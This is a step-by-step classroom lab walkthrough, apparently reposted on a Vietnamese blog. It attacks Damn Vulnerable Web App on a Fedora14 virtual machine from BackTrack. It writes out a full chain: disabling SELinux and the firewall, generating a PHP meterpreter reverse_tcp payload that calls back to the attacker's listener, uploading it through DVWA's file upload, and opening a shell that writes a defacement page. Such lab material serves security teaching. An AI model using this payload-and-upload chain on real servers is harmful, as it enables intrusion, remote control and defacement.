| Section 0. Background Information | 
- What is Damn Vulnerable Web App (DVWA)?
- Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
 - Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
 
 - Pre-Requisite Labs
 
- 	Lab  	Notes
- In this lab we will do the following:
- We will create a php/meterpreter/reverse_tcp payload
 - We will start the php/meterpreter/reverse_tcp listener
 - We will upload the PHP payload to the DVWA Upload screen
 - We will use the PHP payload to establish a connection to the DVWA (Fedora14) machine.
 
 
 - In this lab we will do the following:
 
- Legal Disclaimer
-   Bài hướng dẫn dùng cho lớp học
 
 
| Section 1. Configure Fedora14 Virtual Machine Settings | 
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Instructions:
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight fedora14
 - Click Edit virtual machine settings
 
 
 - Instructions:
 - Edit Network Adapter
 - Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Click on the OK Button.
 
 
| Section 2. Login to Fedora14 | 
- Start Fedora14 VM Instance
- Instructions:
- Start Up VMWare Player
 - Select Fedora14
 - Play virtual machine
 
 
 - Instructions:
 - Login to Fedora14
- Instructions:
- Login: student
 - Password: <whatever you set it to>.
 
 - 		
 
 - Instructions:
 
| Section 3. Open Console Terminal and Retrieve IP Address | 
- Start a Terminal Console
- Instructions:
- Applications --> Terminal
 
 
 - Instructions:
 - Switch user to root
- Instructions:
- su - root
 - <Whatever you set the root password to>
 
 - 		
 
 - Instructions:
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is 192.168.1.106.
 - Please record your IP address.
 
 
 - Instructions:
 
| Section 4. Temporarily Disable SELINUX and Firewall | 
- Start a Terminal Console
- Instructions:
- sestatus
 - If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
 - If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
 
 - Notes:
- In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
 
 
 - Instructions:
 - Place selinux in permissive mode
- Instructions:
- echo 0 > /selinux/enforce
- Placing a "0" in the enforce file, puts selinux in permissive mode.
 
 - sestatus
- Notice that "Current mode:" changed to permissive.
 
 
 - echo 0 > /selinux/enforce
 - 		
 
 - Instructions:
 - Disable Firewall
- Instructions:
- service iptables save
- This is not really necessary, unless you have made recent changes to the firewall.
 
 - service iptables stop
- This command disables the firewall.
 
 
 - service iptables save
 
 - Instructions:
 
| Section 5. Fix Upload Ownership and Permissions | 
- Fix Ownership and Permissions
- Instructions:
- Bring up a Terminal Console on the DVWA (Fedora14) machine.
 - chown root:apache /var/www/html/dvwa/hackable/uploads/
 - chmod 775 /var/www/html/dvwa/hackable/uploads/
 - ls -ld /var/www/html/dvwa/hackable/uploads/
 
 - Known Issue:
- By default, the /var/www/html/dvwa/hackable/uploads/ directory is user and group owned by root.
 - In addition, the apache user did not have "write" permission to allow a user to place a file in the hackable/uploads directory.
 
 
 - Instructions:
 
| Section 6. Configure BackTrack Virtual Machine Settings | 
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Instructions:
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight BackTrack5R1
 - Click Edit virtual machine settings
 
 
 - Instructions:
 - Edit Network Adapter	
- Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Do not Click on the OK Button.
 
 
 - Instructions:
 
| Section 7. Login to BackTrack | 
- Start BackTrack VM Instance
- Instructions:
- Start Up VMWare Player
 - Select BackTrack5R1
 - Play virtual machine
 
 
 - Instructions:
 - Login to BackTrack
- Instructions:
- Login: root
 - Password: toor or <whatever you changed it to>.
 
 
 - Instructions:
 - Bring up the GNOME
- Instructions:
- Type startx
 
 
 - Instructions:
 
| Section 8. Open Console Terminal and Retrieve IP Address | 
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Instructions:
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is 192.168.1.105.
 - Please record your IP address.
 
 
 - Instructions:
 
| Section 9. Build PHP msfpayload | 
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Instructions:
 - Create msfpayload
- Instructions:
- mkdir -p /root/backdoor
 - cd /root/backdoor
 - msfpayload php/meterpreter/reverse_tcp  			LHOST=192.168.1.105  			LPORT=4444 R > PHONE_HOME.php
- Obtain the BackTrack IP Address from (Section 8, Step 2).
 
 - ls -l PHONE_HOME.php
 
 
 - Instructions:
 - Edit PHONE_HOME.php
- Instructions:
- vi PHONE_HOME.php
 
 
 - Instructions:
 - Remove the "#" character
- Instructions:
- Press "x" to delete the "#" character on the first line.
 - Press <Esc>
 - Type ":wq!"
 
 
 - Instructions:
 
| Section 10. Start PHP Payload Listener | 
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Instructions:
 - Start msfconsole
- Instructions:
- msfconsole
 
 
 - Instructions:
 - Start PHP Listener
- Instructions:
- use exploit/multi/handler
 - set PAYLOAD php/meterpreter/reverse_tcp
 - set LHOST 						192.168.1.105
- Obtain the BackTrack IP Address from (Section 8, Step 2).
 
 - set LPORT 4444
 - exploit
 - Continue to Next Section
 
 
 - Instructions:
 
| Section 11. Login to DVWA | 
- Start Firefox
- Instructions:
- Click on Firefox
 
 
 - Instructions:
 - Login to DVWA
- Instructions:
- Start up Firefox on BackTrack
 - Place http://192.168.1.106/dvwa/login.php  			in the address bar.
- Replace 192.168.1.106 with Fedora's IP address obtained in (Section 3, Step 3).
 
 - Login: admin
 - Password: password
 - Click on Login
 
 
 - Instructions:
 
| Section 12. Set Security Level | 
- Set DVWA Security Level
- Instructions:
- Click on DVWA Security, in the left hand menu.
 - Select "low"
 - Click Submit
 
 
 - Instructions:
 
| Section 13. Upload PHP Payload | 
- Upload Menu
- Instructions:
- Select "Upload" from the left navigation menu.
 - Click Browse
 
 - 		
 
 - Instructions:
 - Navigate to PHONE_HOME.php
- Instructions:
- Click on File System
 - Click on root
 - Click on backdoor
 - Select Open
 
 
 - Instructions:
 - Upload PHONE_HOME.php
- Instructions:
- Click the Upload button
 
 
 - Instructions:
 - Activate PHONE_HOME.php
- Instructions:
- http://192.168.1.106/dvwa/hackable/uploads/
- This is the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
 
 - Click on PHONE_HOME.php
 - Continue to next step
 
 - http://192.168.1.106/dvwa/hackable/uploads/
 
 - Instructions:
 - Connection Established
- Notes:
- Notice the stage was sent to the DVWA machine (Fedora14) along with the handy dandy meterpreter.
 - Continue to next step.
 
 
 - Notes:
 - Establishing a Shell
- Instructions:
- shell
- Establishes a "sh" shell.
 
 - uptime
- How long has the server been up
 
 - pwd
- Current working directory
 
 - whoami
- Show who am I logged in as.
 
 - w
- Notice there is no entry for the user apache
 
 - echo "Hacked at 4-23-2012, by Your  			Name" > hacked.html
- Create some simple web graffiti
 - Replace 4-23-2012 with the present date.
 - Replace the string "Your Name" with your actual name.
 
 - ls -l
 
 - shell
 
 - Instructions:
 
| Section 14. Proof of Lab | 
- Proof of Lab
- 		Proof of Lab Instructions:
- On BackTrack, place the below URI in  			Firefox
- http://192.168.1.106/dvwa/hackable/uploads/hacked.html
- Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
 
 
 - http://192.168.1.106/dvwa/hackable/uploads/hacked.html
 - Do a <PrtScn>
 - Paste into a word document
 - Email to Csirt247@Gmail.Com
 
 - On BackTrack, place the below URI in  			Firefox
 - 		
 
 - 		Proof of Lab Instructions:
 






0 nhận xét:
Đăng nhận xét